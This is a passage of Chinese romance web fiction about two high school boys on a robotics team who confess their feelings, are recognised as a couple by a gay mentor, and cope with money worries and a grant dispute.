其实她的话已经自相矛盾了,但她自己没注意到,方笑贻说:“是因为你的什么呢?” “因为、因为我跟他说了我家里的情况,他可能觉得我比较可怜,所以就去找你了。” 方笑贻已经不奇怪了,为什么她家里的事,李晨阳会知道,他俩总是这样,一个爱窥探,一个嘴上没把门。 “那你呢?”方笑贻问她,“你觉得自己可怜吗?” 杨妙鼻腔一酸,差点崩出泪来。 难道她,不可怜吗? 她是留守儿童,从小跟爷爷相依为命。父母常年在外务工,她快上初中的时候提过一嘴,要把她带走,后来一个弟弟一生,她就还是只有爷爷。 但是初中以前,她也没有这么难受,因为同学里不缺留守儿童。比起有些父母离异又再婚生育的,她就算“好”的了。 可谁知到了这里,杨妙举目四望、看了又看,她就是最差的。然后她爷爷还病了,风湿性心脏病,医生建议他去做手术,可他拿了点药就回家了,说医生都是骗钱的。 这两天放假,她都在家里的卫生间里哭,不明白老天爷为什么这么对她? 可高老师说,方笑贻很小就失去了父亲,姐姐又是聋哑人,杨妙看着他若无其事的样子,心里忽然特别茫然。 “那你呢?”她哆嗦着嘴唇说,“你觉得自己不可怜吗?” * 离上课还差两分钟的时候,方笑贻才回来。 杨妙在他后面,表情空洞,像个行尸走肉。 边煦一看,根本醋不起来,只把他椅子勾到附近,等他坐下来,自己也趴过去,说了会悄悄话。 边煦:“聊什么了?怎么杨妙看着,更不对劲了。” 方笑贻:“聊了下她家里的情况。” 边煦:“什么情况?” 方笑贻:“她爸失业了,爷爷刚查出来有心脏病。” 那方笑贻都没有爸爸呢,边煦还是偏心,但也没比什么,又猜:“所以李晨阳找你干什么?叫你把助学金让给杨妙?” “边大仙啊你,”方笑贻给他比了个大拇指,“改行算命你得赚麻。” 边煦不赚,屈指把他的大拇指尖一弹,“然后呢,你让不让?” 方笑贻摇了下头,他一圣母,全家吃苦。 只是杨妙也不好过就是了,事故刚发生的时候,人总是最难受的。 边煦伸手在他肩胛骨上搓了搓。 晚自习上,高蓬进来发了联考的成绩条,顺便说了下班上的成绩。中途巡逻到4组最后头时,还顺便把方笑贻和杨妙的申请表收了。 方笑贻考了个比边煦还高的总分,连刘丞丞都不揣测了:方笑贻有边煦给的特别小抄。 但他学会了新的技能,开赌盘。 “来吧小马,一星期的小食堂纸皮烧麦,赌煦子和方儿下次谁是第一。” 马嘉楠抛了颗芥末蚕豆,拿嘴接了:“赌就赌,但我不吃烧麦,我要吃小蛋糕。” 方笑贻进去横插一脚:“那我押自己,我要吃烧麦。” 刘丞丞本来是要押他的,因为小马肯定押边煦,他不换边,没得玩了。 但方笑贻太不要脸了,刘丞丞又叛变了,转身去拍边煦的书:“喂兄弟,你这同桌,就考了一回第一,就已经不把你放在眼里了,这你都能忍?” 边煦靠在墙上看热闹:“能。”把他放在心里就行了。 “有格局,”方笑贻打了个响指,转头跟他分赃,“烧麦到手了,一人一半。” 边煦眨眼:“成交。” 刘丞丞看看这个再看看那个,糟心的要死:“无耻!庄家控盘行为,把你俩举报到党中央。” 方笑贻说:“党中央不管这个。” 刘丞丞:“我也不管!先举报。” 两个课间,这几排都热闹得很,谢恒听说信息那边买了个机器人,也过来扒了会儿杨妙的桌子。 “沃去,”他说,“早知道玩得这么先进,我死活也去信息那边考一把了。边董,你们什么时候训练?我凑个热闹。” 陈文宣也跑来说:“我叔他们也在搞这个,人形的孵化创投,满世界的找项目,都疯了一样。” 方笑贻在旁边撑下巴,感觉要凑热闹的还挺多。 但是已经迟了,信息的老梁已经在实验室两个门口都贴了条子:课外人员不得入内。 这边,流水的人员占了杨妙的位子,她本人却不在座位上,她在厕所里看手机:恢复能量的100件小事 方笑贻跟她说了些话。 他说他不觉得自己可怜,跟他实际可不可怜无关,只是觉得这个意识形态不好。 杨妙也知道,但她控制不住,不知道该怎么办? 方笑贻说没什么办法,叫她熬。 然后他打了个比方,假设,她的承受能力是5,而事故的冲击力是10,她现在就是被击穿的状态,-5,只能摆烂,心力撑不起来。熬到0,脑子就会消停了。 然后他说,如果她想找点周末的兼职,可以找他。 * 下了自习,两人去操场溜了一圈。 因为一下楼,一阵晚风掀在身上,很惬意,边煦便临时提议,去散个晚步。 路上方笑贻还在勾肩搭背地调戏他:“那个米酒还有半瓶,你还喝不喝?” “不喝,”边煦还在记仇,“我不想跟谭威间接接吻。” 接屁啊,方笑贻说:“你放心,谭威更不想。” 边煦还是没有放心:“你也不可以。” 方笑贻终于气笑了:“你再恶心我,我就抽你。” 他虽然针对性地弯了一下,但思维还是很直男,没法把自己和谭威以过界的形式凑在一起。 两人在操场转了半圈,转着转着又忽然发疯,跑了个几百米,跑完又上看台上歇了会儿,期间看见最后面一排,有一对男女在那儿亲嘴。 那两人是方笑贻先看到的,一下就给他看懵了,因为那个男的凑过去,还没亲上,舌头先出来了。 边煦则是看见他皱脸,才转过头的,然后一转,正好看见那男的把剩下的一截舌根塞进女的嘴里,嘴皮贴了个严丝合缝。 他俩已经这么大了,要说没看过小片儿,那也太假了。然后校里校外,热吻也都见过,四海那块就更乱了,半夜直接在巷子里办事的都有。 只是那会儿都没开窍,看见了也只觉得有点恶心。 但眼下不一样了,大家都是有男朋友的人,于是那动作恶心之余,又带着某种启发似的。 边煦一阵口干舌燥,但回过神,还是先一把捂住了他的眼睛。 “不许看,”边煦不知怎么害起臊来,又有点急眼,“要看回寝室去照镜子。” 方笑贻心跳本来也鼓噪,很奇怪,明明骚是别人发的,但那种暧昧荡漾的氛围,却瞬间就像笼罩到了他跟边煦头上。 于是那呼吸在耳畔一扫,方笑贻就跟电打了似的,往旁边一颤,还没完全躲开,又听见下半句,整个人登时一僵。 寝室的镜子能踏马看什么啊! 幸好这里灯黑,方笑贻老脸一红,也赶紧去捂他的嘴:“照屁,闭嘴!” 边煦在他手指下面闷笑,鼻息微微有点热,笑完又在他手心里啄了一下。 那个眼神很水灵,笑意又满,仿佛真有种喜爱在灌注过来,方笑贻胸口悸动起来,错不开眼睛,小声说:“我没洗手,你不怕脏啊。” 边煦又没舔,立刻说:“不嫌弃你。” 方笑贻心里一片柔软,又看了他两眼,才说:“回寝室吧,虽然谭威把你的吃的喝的霍霍了,但我还是给你留了样东西的。” “什么?”边煦先是一愣,又期待地站起来,顺便把他也拉了起来。 “没什么,”方笑贻推了下他,示意他走,同时压低声音说,“就是一个很土的,花。” 边煦惊喜地亮了下,转瞬得意地笑开了:“不土,我喜欢,给我买。” 方笑贻不是那么浪漫的人,他买花,应该是表白的一个铺垫。 边煦只是没看见,他什么时候买的花? * 门一开,屋里有缕若有似无的甜香。 但边煦环顾一圈,却只在桌上,看见了一盆秃秃的绿植。只见它细长单薄的枝干上,顶着寥寥几朵橙黄的花苞。 那花边煦不认识,土不土的不好说,只是有点……随便。 这就是方笑贻送他的花吗? 边煦愣了下,表情一瞬间有点复杂:意外、茫然、狐疑。 方笑贻进来关了门,盯着他的脸,心里一下就笑翻了,说:“喜欢吗?” 可边煦已经发现了不对劲。 首先是那个茎杆根部,它可比上面茂密多了,只是都被剪了,还没氧化透的断茬露了一堆,还有那个几个小花苞。 边煦过去俯身一闻,不香,屋里的香气不是这儿来的。 然后他了然地眨了下眼睛,抱起花盆,转身倚在桌沿上,似笑非笑道:“喜欢,所以,我的花呢?” 方笑贻没把他忽悠住,还有点失望,耸了下肩,转身去拉开了衣柜门。 那门原本也没关,大半敞着,只是得到桌角这边才看得见,柜里有一格被清空了,里头朝外放了束花,橙黄色,缀着一点绿叶,包在油画色的青草绿包装纸里。 方笑贻把它拿出来,折身回到边煦了跟前。 边煦已经把花盆放在了桌上,空着手,目光跟他搅在一起。 方笑贻看了他好几秒,才忽然喊他了他一声:“边煦。” 边煦等了下,又说:“嗯?” “你看出来了吧?这个花,”方笑贻说着,往上抬了抬那束花,“是我自己包的。” 边煦一边垂眼去看,一边纳闷:“你什么时候包的?花又是哪儿来的?” 方笑贻说:“谭威从寝室走了之后。” 至于花,他来的时候就带了,只是走到门口看见谭威,又下楼去存到了宿管那里。 边煦这次倒没嘀咕,怎么没把吃的一起寄存,只是有点懵:“可你跟谭威不是一起去的实验室吗?” “没一起,我叫他先去的,只是他到了不敢进去,就在走廊里等了我一会儿。” 好吧,边煦打量完那束花,它确实不像店里卖的那么精致,但还是很像模像样的,包得挺圆,还系了个丝带。 边煦对收花没什么执念,他只是在等方笑贻表白而已,闻言伸手拨了下其中的一朵,夸道:“你真能干,什么都会。” “会什么会啊?”方笑贻忍俊不禁,“我现学的。” 边煦捏了下他的左脸:“现学的更能干。” 方笑贻脸上被他一碰,心里也像被捏软了,偏头在他手上蹭了蹭,随后在这一瞬间敞开了心扉。 “边煦,”他说,“咱俩家里,在有钱没钱上差距挺大的,可以用悬殊来形容,你知道吧?” 边煦刚要抻开手指,贴他脸上,闻言动作一顿:“……嗯。” 方笑贻看着他说:“其实这个,让我压力挺大的。” 边煦眉头忽然一蹙:“我给你压力了吗?” “不是你给的,”方笑贻伸手摸了下他的眉心,在他蹙起来的地方轻轻压了压,“是现实的差距给的。比如你看,自从你开始跟我一起吃饭,你每天都泡在大食堂,但大食堂的菜,你真的爱吃吗?” 边煦把他的手拉下来,方便直视他:“我吃大食堂,你就有压力吗?” 边煦压根没想过这些,人只能共情附近的阶层,太高太低的细节都离得太远,看不见。 方笑贻也直说:“会有一点,我会想你在迁就我,日子越过越差了。” “那是你觉得,”边煦立刻说,“我没觉得差。” “笨蛋,这肯定啊,”方笑贻说,“因为你是付出的那一方,你在向下兼容我。而我想向上兼容你,我也做不到,因为我现在缺那个经济实力。” “什么向下?”边煦终于不爱听了,神色间显出点严肃来,“你别太瞧不起自己了。” 方笑贻眨了几下眼睛,懵比又好笑:“我没瞧不起自己啊,我只是在跟你说我心里真正的一些想法,让你了解我而已。你要是不爱听,那我不讲了。” 边煦怔了下,表情这才温和下来,同时心里又有点懊恼,方笑贻的内心世界,他确实只窥到了冰山一角。 “别,我想听,”边煦语气柔软下来,“你接着说。” 方笑贻“嗯”了一声,又说:“我俩开销不一样的,不止在吃食堂这个点上。还有以后出去玩儿、吃饭、送礼物,我能给你的,都是很便宜的东西,麻辣烫、图书馆、自己包的花这些。” “然后你给我贵的,如果我今年能领到助学金,我也不能要,人不能一边领救助,一边高消费。你跟我在一起,可能要迁就1万个‘大食堂’,我心里一想,就觉得欠了你八百万。” 边煦真想把他打晕,一天天的,都在想这些东西吗?可嘴上只说:“然后呢?” “可是我虽然感觉欠了你的,但最近又还是挺开心的,所以我还是想跟你在一起,你等等我,明年我就不申请助学金了。” 边煦不赞成:“傻呀,该申就申啊。” “不申,”方笑贻自信地说,“明年会变有钱。” 边煦眉梢一扬,刚要笑,说:行,明年发财。 方笑贻就拿花瓣那头在他胸口一敲,说:“边煦,这是我的喜欢,收下吧。” 说着,他倾身向前,在对面含笑的唇上落了个吻。 好吧,他俩是不门当户对,但出生的家庭已无法改变,那就比成长的进度吧。 喜欢他,就超过他—— 第53章 这一年的夏天,结束在了一场忽如其来的冰雹里。 这天是周五,赵老师和向黎又过来指导。一屋子人在实验室倒腾到快7点,食堂也没晚饭,带信奥的老师梁海便做东,请所有人去学校外面的湘西菜馆下馆子。 这俩老师是大学同学,自己开了两瓶古越龙山,小烟小酒的,就格局上了。 “朱老板带头退出机器人产业,行业地震,”老梁呵呵地说,“震到你这里没有嘛?” “还好吧,”赵老师风轻云淡,“其实人形泡沫大,是我们这行很多人的共识了。” “那你还搞?” “有什么办法?这就是我的研究方向,而且现在只有人形这块儿才有热度、才有钱。你看那些工业机器人,1975年就开始上岗了,到现在,多少年的研发、产投,谁搭理它们?狗都不理。” “也是。” 他俩在这边吹牛,对面几个学生也没闲着。 组里的许柏是2班的第一名,他说:“遥门永存!不接受反驳,我觉得遥操比手柄好用一万倍。” “那是你菜,”5班的李经略夹着个花菇,想起没想就说,“你看鸿丽右手边那两个,他俩爱不爱用遥操。” 谢鸿丽是个女生,跟许柏一样是2班的,她说:“是不爱。” “你才菜,”许柏瞪了李经略一眼,又给谢鸿丽条分缕析,“他俩不爱是有底层逻辑的。” 谢鸿丽和李经略同时开口。 “哦?愿闻其详。” “展开,谢谢。” 许柏张口就来:“煦总不喜欢用遥操,不用想,肯定是觉得它操作起来跟猴子跳舞一样,有损他高冷的形象。至于你笑贻兄,哼哼,他很简单的,纯粹是因为……” 许柏一推眼镜,仿佛自己是个破案前夕的工藤新一:“抠!他舍不得用电。” 话音一落,集体出声。 谢鸿丽:“噗。” 李经略:“你是懂底层逻辑的。” 向黎:“哈哈哈。” 边煦:“哼。” 方笑贻:“……” 但只有他俩知道,边煦“哼”的对象不是许柏,而是方笑贻。 他俩最近在搞一种很撕裂的冷战,白天爱答不理,晚上把嘴亲烂。 发起的人是边煦,原因是他感觉方笑贻很忌讳别人发现他俩的关系,在外面老是念叨,叫他注意、别乱来。 边煦觉得自己够注意的了。 感谢双人宿舍,边煦在屋里亲够了,在外面也没那么骚动,玩下他的手指、捏后颈、搓搓腿也有滋有味。但总有些瞬间,理智会短暂地消失。 比如刘丞丞忽然问道:“你老看人家方老板干嘛” 那眼神自己怎么控制?不看他?或者在教室里戴墨镜? 有大病。 又比如上周五放学,他带方笑贻回家串门。方笑贻本来还不太想去,欲言又止的。 那个态度,瞬间就让边煦有种鞋里进了小石粒的不适感,他说:“你对我家什么样、有几号人,一点兴趣都没有吗?” 方笑贻这才跟着他去的。 结果去了,边煦发现他又对自己过敏一样,自己稍微贴他两下,有时是不得已,他都会明显地避让,把距离拉开。 那些细微又见外的小动作,搞得边煦心烦意乱,恨不得把他推进书房去搓一顿。 完了,他奶奶盛芝兰还很会聊天,拐弯抹角地问他:“小方在学校挺受欢迎吧?有没有谈个恋爱呀?” 他说没有。 盛芝兰又问:“那我们家阳……呃,边煦呢?他放假回来,天天抱个手机傻乐,我总感觉有情况,问他又给我装蒜。我一看你就是个好孩子,你可不好骗我呀。” 他又说:“这个,应该没有吧?我也不太清楚。” 边煦就在旁边拿眼睛横他,嫌他那声“没有”,脱口得太快了。 之后吃了饭,两人在沙发上打《王国之泪》。 方笑贻用的是边煦的号和存档,因为不熟悉技能键,搞出了一个能参与弱智吧主的操作,自己在那笑得前俯后仰。 2楼平时基本只有边煦,他在家里放松,方笑贻又笑成个向日葵,边煦看了两眼,心里痒痒的,欠身过去就在那个笑飞的嘴角上亲了一口。 结果嘴还没挪到正轨上,方笑贻就一下把他推开了,做贼一样警惕:“疯了!在你家呢。” 那个手劲稍微有点大,边煦砸到沙发靠背上,好一会都没理他。 还有边煦说,喊唐悦吃个饭,给唐悦通通气。他也没说不行,只是一直说这星期没空。 可他没空跟唐悦吃饭,却又有空带杨妙去他家附近那个市场里做兼职! 所以这叫没空吗?这叫不愿意,怕别人知道他俩的关系。 理智上,边煦心里清楚,藏着对他俩都是好事。只是人心贪婪,他靠近了这个人,又想把他带进自己的生活圈。 而且加上10月月考,他是全校第5,还有那个助学金风波。 方笑贻得到了助学金,又被李晨阳举报了,理由是他挥霍无度,天天在“吃”小食堂。 结果学校一调查,方笑贻在小食堂打包的饭菜都是给边煦的,因为边煦那阵在忙着调整机器人,方笑贻负责帮他打饭,他的资格没什么问题,倒是2班领钱的男生翻车了。 说来也是奇葩,2班这个兄弟,自己也不是故意的,只是他爸特别抠,一直跟他说家里欠别人80几万,他妈也满口挣钱不容易,一家三口还在租房住。所以他发自内心的,认为自己是一个城市贫民。 谁知一查,他爸还开着公司,一年增值税都交10多万,据说存款还有几百个。这真人版的《抓娃娃》走向,把这个同学直接搞休学了,说是精神出了问题。 另外,就是老梁破例,没经过考试,也在队里给他留了个坑。 因为他的遥控操作比较精准,而且对电机、扭矩、转速什么的直觉很灵,同样一块电池,大家能遥个30分钟,他可以撑到40往上。 这点边煦都比不上他,而续航时间久,对于打比赛是很占优势。 反正林林总总,方笑贻这个名字在一中,渐渐开始有姓名了。 他在学校00后实习老师运营出来的校园墙下面的标签是:寒门、学霸、帅哥、机器人战队里最省电的男人 边煦乐于见他发光发亮,只是副作用也很明显。 这周已经有5个了,打着买东西的旗号,想要加他v信的女生。 好在方笑贻已经不在学校卖东西了,进了机器人小组之后,他在学校实在分身乏术了。所以那个卖东西的群,群主和生意,他都一起给杨妙了。 所以杨妙惦记他,边煦能理解,但是不乐意。 * 四目相对,方笑贻又被哼了一声,他自己也知道是为什么。 因为放学之前,杨妙忽然问他,星期六下午有空吗? 边煦的脸当时就黑了。 方笑贻求生欲强,立刻在桌下按了他的大腿,又问杨妙:“有什么事吗?” 结果杨妙说:“宇哥说星期六下午临时多了3个老板招工,中介这边缺人,叫我问你,去不去。” 方笑贻都说不去了,结果这位时不时,还是愤愤的,理由如下。 “她为什么老找你?怎么不找我?不找刘丞丞?你自己心里得有点数。” “你才应该有点数,找你和刘丞丞?去做兼职?”方笑贻啼笑皆非,“你俩分分……不,是秒秒钟开除老板。” 不过话是这么说,他看着边煦话里有话的脸,心里也挺新鲜好玩儿。 这人,明明很自信,说杨妙威胁不到他的地位;一边飞醋也照吃不误。 可能就是喜欢那种吃醋的感觉吧,没醋也要硬吃。 方笑贻抿住笑意,又松开压着的餐桌转盘,小声催他:“打饭啊。” 转过来的是份苗家社饭,边煦又扫了他一眼,醋也吃,饭也给他先打。 方笑贻一看他拿的是自己的碗,嘀咕了一句:“我是叫你给自己打。” 边煦说:“都打。” 打完看见向黎撑着下巴在看这边,表情似笑非笑的。边煦顿了下,又一视同仁道:“向哥,来,碗。” 向黎笑得更开了一点,那种看破似的感觉登时也没有了。 “不用,”他恹恹地摆了下手,“我吃不来糯米饭,喝酒吗你俩?” 他喝的是二锅头,两人都觉得辣,开了两瓶啤酒陪了两杯。 桌上倒也没聊别的,都是机器人性能、调试和操作上的东西,但很明显看得出来,向黎兴致不高,有点晃神。 8点出头,赵老师接了个电话,急着回家,饭局跟着就散了。 一出饭馆,外面的风刮得老大,打车的都退回饭馆里去了,而方笑贻要坐公交车,边煦边煦跟着他,向黎也说坐公交,三人就往公交站走。 走到一半,天上忽然哗啦作响。 方笑贻头上“梆”的一下,被砸得“嘶”了一声。 边煦扭头看他时,也被砸到了肩膀,但还是抬起右手,就盖他头顶上了。 方笑贻原本也在抱头,一抱抱到了他的手背,登时又急心里又软,又腾出一只手,去给他遮头,同时说:“你自己挡着啊,我又不是没手,这样压根不好……” 话没说完,旁边向黎先跑起来了,并丢下一句:“你俩是一对儿吧?” 第54章 是。 但他是怎么知道的? 方笑贻惊疑地跟边煦对视了一眼,边煦倒是挺淡定,只说:“愣什么,跑啊。” 方笑贻只好跟着他跑了起来,因为那冰雹有点大,砸得他俩手臂生疼。 跑了五六步之后,方笑贻把书包顶在了头上,还是有点蒙圈,他说:“这就是传说中的出柜吗?” 边煦顶着他书包的另外半边,仔细看了眼他的脸色,见他稀奇愕然,但没有很怕的样子,才回:“严格来说,这是被出柜。” 方笑贻觉得他严谨错了地方,有点想笑:“你什么感觉?” 边煦说实话:“有点突然。” 方笑贻问他:“怕不怕?” 边煦唯一会愧对的只有盛芝兰,其他人他都没太所谓:“不至于,你呢?” 方笑贻想了下向黎刚刚语气,挺温和,也说:“我也还好,只是一想待会见面,感觉有点尴尬。” “没什么好尴尬的,”边煦安慰他,“向黎应该也是。” “也……”方笑贻卡了下,还没反应过来,“是啥?” “给。”边煦语出惊人。 什么鬼?方笑贻瞪了下眼皮:“你可别胡扯。” 边煦说没扯,方笑贻问他证据呢,边煦说:“你没发现他对男生比女生关注吗?” 还有那个说话的语气和肢体动作,都偏收敛一些,没有大开大合的感觉。 方笑贻看了他一眼,但没吭声,说实话,方笑贻没怎么观察过向黎。但边煦总不至于拿这个开玩笑,他就姑且信了,又跟边煦商量:“但咱们,怎么说呢,是?还是不是?” 边煦:“你想怎么说就怎么说。” 方笑贻不满:“你怎么不说?” 边煦:“你叫我说,那我就说‘是’了。” 方笑贻因为爱瞻前顾后,所以每次听他这么坚定,心里都有点触动。 他伸手搭住边煦的胳膊,又拿大拇指在那截胳膊内侧搓了搓,莞尔道:“是,本来就是,但还是我来说吧,我先看看向黎想干嘛。” 边煦没意见,于是很快,两人并肩坐到了向黎对面,2对1地干瞪眼。 这粥店卖的虽是杂粥烙饼,但座位像是咖啡馆的,沙发长条带个挺高的靠背,稍微还能有点隐私。 向黎刚刚跑得快,这会又趣味地打量起他俩,见没人吭声,又问:“是吗?” 谨慎起见,方笑贻说:“不是。” 向黎撑住下巴,笑了下:“你不老实。” 方笑贻看他一副审视的样子,有点不爽,也起了整他的心思:“你也一样。” 向黎一怔:“我怎么了?” 方笑贻本来想问他是不是给,又怕隔墙有耳,干脆拿起手机倒腾了两下,再才递给向黎。 向黎接住一看,屏幕上是个百科词条:铜(金属) 他心里登时明白了,自己也被这俩看出来了。 不过有经验的给,其实很容易察觉到同类,只是他们还小,比较迟钝。 向黎哑然失笑道:“这么不吃亏?还得秘密换秘密啊,行,那就换,不过得换个地方,吃烧烤吗?” 两人都摇头,吃饱了,但向黎落寞地说:“那我吃,你俩、你俩陪一下吧,我今天……心情有点不好。” 方笑贻跟边煦就跟着去了,向黎是个好前辈,也是他俩在生活里遇到的第一个同志。 起初,向黎还没喝糊涂,话题还三句不离他们:你们怎么认识的、谁先勾搭的谁、怎么在一起的?后面烂醉,翻来覆去,就都是他那个狗血的故事了。 他20岁被人追,半年后在一起,中间分分合合6年,今天终于彻底失恋,因为对方劈腿了,劈腿的对象还是他在学校的熟人。 方笑贻跟边煦看他肝肠寸断的,没安慰到他,反倒把自己看了个心里发毛。 向黎已经把自己灌了个神志不清,两人只好又打车,送他回去。 只是到了他租的房子门口,现实的狗血竟还没完。 因为向黎家门上贴着个人,中等高、瘦成纸片,边煦搀着向黎上来,乍一眼,愣是没分清这是男的还是女的。 还是对方惊愕地盯了他挺长一眼,说:“你是?” 边煦才听出他是个男的。 随后方笑贻拎着包上来,又见这个娇滴滴的男的跑到向黎旁边,摇着他说:“师兄,师兄?你醒醒。” 向黎睁了下眼,叫他滚。 那男的又一脸哀求:“师兄你别这样,我跟你朗哥真的不是……” 话音未落,向黎就照着他鼻子来了一拳,方笑贻跟边煦也明白过来,这位师弟,应该就是向黎说的那个“熟人”了。 只是向黎手上没劲,“熟人”最后安然无恙地走了,除了挺生气。方笑贻也错过了末班车。 边煦打车送他回四海,路上挤在昏暗的后座上,把他的手握得很紧。 向黎看着太落魄了,边煦很想说:你别跟我分开。 他怕变成向黎那样,但又觉得不吉利,因为他们现在挺好的,最终便什么也没说。 不过这天之后,他们开始跟向黎走得近了。 因为学校里有贱人,向黎不爱在榆大待着,一有空就往一中跑,摆摆前辈的架子,再消遣一下那两个小鬼,他俩那个纯情的小样子,极大地愉悦了向黎空洞的内心。 “你们发展到哪一步了?”向黎像个三姑六婆,“亲?摸?睡……” 边煦真受不了他这个刺探劲:“不关你的事。” 方笑贻比他耐调戏些,通常负责吃东西、看热闹。 “怎么不关呢?”向黎坏笑道,“我是前辈嘛,还是有很多好东西,可以传承给你们的。” 他所谓的“好东西”,边煦在家也点开过一个,那演员毛胸毛腿的,边煦脸都没看到就叉掉了。此刻闻言,一口回绝道:“不用了,你去找个男朋友吧,别烦我俩了。” 向黎现在还没释怀,心里登时中箭,哽了下才说:“行,你牛!不过这周末你也打光棍,你对象我征用了,两天都征。” 边煦说:“征用可以,但要加钱。” 向黎真的怀疑:“……你不是富二代吗?怎么是这个样子的?” 边煦又说:“就是靠这样才变富的。” 方笑贻在旁边笑得抖肩膀。 边煦说完,又转头来问他:“他找你干什么?还是上商场遥控机器人吗?” 托向黎的福,方笑贻周末又开始接兼职了,都是跟机器人相关的活动。 原本这活也轮不到他,因为赵老师那边自己有团队。但上周有场儿童科普,有个操作临时缺席,向黎翻通讯录先看到了他,就给他打了个电话。 结果方笑贻遥着机器人,让它在小孩堆里跺了半天小脚,400块就到手了。 这时薪太香了,活又轻松,之后就是他缠着向黎招他,不过并不是每周都有。 方笑贻“嗯”了一声:“金领地开了个EX未来科技类的主题乐园,我们到商场入口去用机器人引流。” 那还挺巧,因为这个金领地商圈就在檀溪,而边煦这周要去看于静涵。 她快生了,又说腿痛,还说想他,边煦也不想评价,只跟方笑贻提了这个事,说到时去万达找他。 方笑贻比了个ok,又找向黎要乐园的门票。 向黎看他俩旁若无人地在那儿约,心里很酸:“没有。” 方笑贻根本不信:“不可能,赵老师手里肯定有赠票,你去帮我们要两张。” 向黎冷笑一声:“我去帮你们要票,然后你们去约会,我一个人在楼底下干活?想什么呢?” 边煦说:“其实我去要,赵老师也会给的。” 这个向黎还真反驳不了,赵老师爱才,而他看着也像那么块料。 那个票最后就还是向黎去要的。 隔天,大概是被大数据监控了,马嘉楠也刷到了这个乐园。 方笑贻跟边煦做完操回来,刘丞丞就转过来,神秘地说:“有个地方,你们绝对都感兴趣,星期六一起去吧?都快毕业了感觉,还没有一起出去玩过。” 这也太夸张了,方笑贻笑了下,刚开口:“我星……” 接着就看到了他竖起来的手机:EX未来科技馆打卡一绝!#周末去哪玩#仿生人 于是又被巧合缝上了嘴巴。 “好吧,”方笑贻说,“但我只有中午休息的时间可以。” 刘丞丞没懂:“为什么?” 边煦说:“因为他早晚要干活。” 半分钟后,知情的刘丞丞异想天开道:“我靠你在那儿兼职啊!这是什么天降奇缘?那你能不能把我们都偷偷放进去,不买票。” “能,”方笑贻一本正经,“你现在趴桌上,睡觉,梦到这个即可。” 刘丞丞揉了个纸团,照着他脸一砸:“哥是你能戏耍的……” 话没说完,那纸团就被边煦捞到手里,又扔回了他脸上。 刘丞丞顿时大骂他偏心。 周内就这么吵吵嚷嚷地过去了。 周六一早,方笑贻8点半就去了金领地,然后被分在了北门这边。 这边是负一楼的生鲜百货入口门,人流量最大,方笑贻到的时候,赵老师那边带设备的人还没来,他就在门右边站了会儿,接着看见几个人追赶过来。 先是一个穿西装的男人匆匆忙忙地跑来,进了北门的夹层门。 他挺有特色的,四十上下,留一头日系长中分卷发,嘴唇也挺厚,不帅,但气质颇为慵懒。 所以方笑贻看了几秒,就想起来了,他是那天在老宅门口,上来扶边煦妈妈的男的。 叫什么来着? 他正在想,外头又有人喊:“……程,程辉!你再跑?” 方笑贻视线往门里一偏,对,就是叫程辉。 接着就见在那层夹门里,程辉指着外面,对手持着传呼机的安全人员说:“把那两个人,给我拦住。我怀疑他们身上有刀。” 再看外面,冲过来的两个男人当中,那个矮一点的说:“你再跑,我就直接在这儿拉横幅,说你欠钱不还了啊!” 程辉登时就不跑了,迟疑片刻,又出来了,安抚着那两人往右边去了。 “罗哥,对不起真的,来,消消气,你是知道我的为人的,我有钱还不还给你吗?我也不是那种人,是不是?是别人欠我钱,我才没钱还……” 方笑贻看着他们走远,说话声渐渐不可闻,迟疑几秒,也跟着过去了。 第55章 程辉带着人,拐进了一家华为体验店,一路诉苦就没停过。 “哥哥们,我是真、的、没钱!” “嗨哟得了,你在檀溪住别墅都没钱,那我们算啥?乞丐啊。” “又来了,你们又不是不知道?那房子不是我的。” “我知道,是你老婆的,她有……问她腾挪一下,你我不就都盘活了吗?” “她呀,她也没钱了,她离婚时分的那三瓜……唉~说来惭愧,这几年投什么亏什么,还被骗,已经霍霍出负的来了。” “啧啧还三瓜两枣,那她婆家得多有钱?不是还有个儿子在吗?问她婆家借……” 这时,那三人刚到体验店的内门口,作势要右拐,方笑贻也正在蹙眉头。 怪不得呢,他心想:那天带人去看老宅,果然是在外头欠钱了。而边煦的妈还是带头去的,所以她肯定也知情。 方笑贻心里正在预判:边煦今天去檀溪,大概率也是个不欢而散。 前边,程辉右手边那个高个子男人就察觉到什么似的,猛地回过了头来。 方笑贻为了偷听,离他们也就三四步远,虽然刻意也往旁边斜了点,但因为那男的回头太急,又目如鹰隼,明显像是受过训练的。 方笑贻猝不及防,目光陡然被这人锁了个正着。 那视线迅速警惕起来,并且很快,另外两人也开始有了回头的趋势。 其实被发现了也没什么,自己咬定他们想多了就行,料想他们也不至于为了这点闲扯去查监控。 但方笑贻还是不想让程辉看见自己。 万一他记性好,记得自己是边煦的同伴呢?谁知道他会想什么? 于是眨眼之间,方笑贻心念一转,小跑起来侧过身体,赶着投胎似的,竖着从那高个子和程辉之间穿了过去:“不好意思,借过借过。” 他是背对着程辉出去的,进了商城也毫不停留,脚尖一转往左拐了,又过了两个门面,才竖起手机的前置相机,往后照了照,看见那3人往右去了。 之后,方笑贻也没再跟了,趴在商场的栏杆上琢磨。 他妈家里的情况,边煦知道吗?知道多少?对他的影响又有多大?他有没有概念? 放在以前,自己一个穷鬼,绝不会替比自己有钱的操心,但那是边煦,不是别人。 发完呆,他给边煦打了个电话。 那边接得挺快,方笑贻习惯了,张嘴就说:“你过来了吗?” “啊?”结果出声的不是边煦,是盛芝兰。 方笑贻头皮才悚然一紧,庆幸自己没说什么不对劲的话,语气也没有不正常。 盛芝兰也没异样,又乐呵呵地说:“过去哪儿哦?” 方笑贻这才定住神:“盛老师,早,我们要去未来科技乐园。” 说完又还是莫名心虚,补了句:“刘丞丞在群里大家出门了没有,我看他没回复,就问问他。” 盛芝兰还在笑:“哦,他还没有,在院子里,吹牛呢,” 就目前的印象,边煦这个新朋友,她感觉还是待见的。 方笑贻生得颇为灵秀,挺有礼貌、成绩据说也相当不赖。此外,他还跟边煦在2楼嘀嘀咕咕,说她是大美人,盛奶奶他喊不出口。 邓嬢上楼送果盘,听到了,下楼笑得不行,说他俩在楼上给她取外号。 什么盛优雅、榆临赵雅芝、美大姐、姨姐……当然,不靠谱的都是边煦取的。不过盛芝兰爱美,吃这一套。 方笑贻问边煦在吹什么牛。 盛芝兰新鲜得很:“他这个葱都没掐断过一根的人,现在在教他邓嬢种月季,你说好不好笑?” 方笑贻“呵”了两下,没说好笑,因为边煦是真的会。 自己送他的剪枝,早已枯萎不见了,但宿舍里那盆果汁阳台,边煦搜了点视频,又网购了点肥啊土的,养起来了。 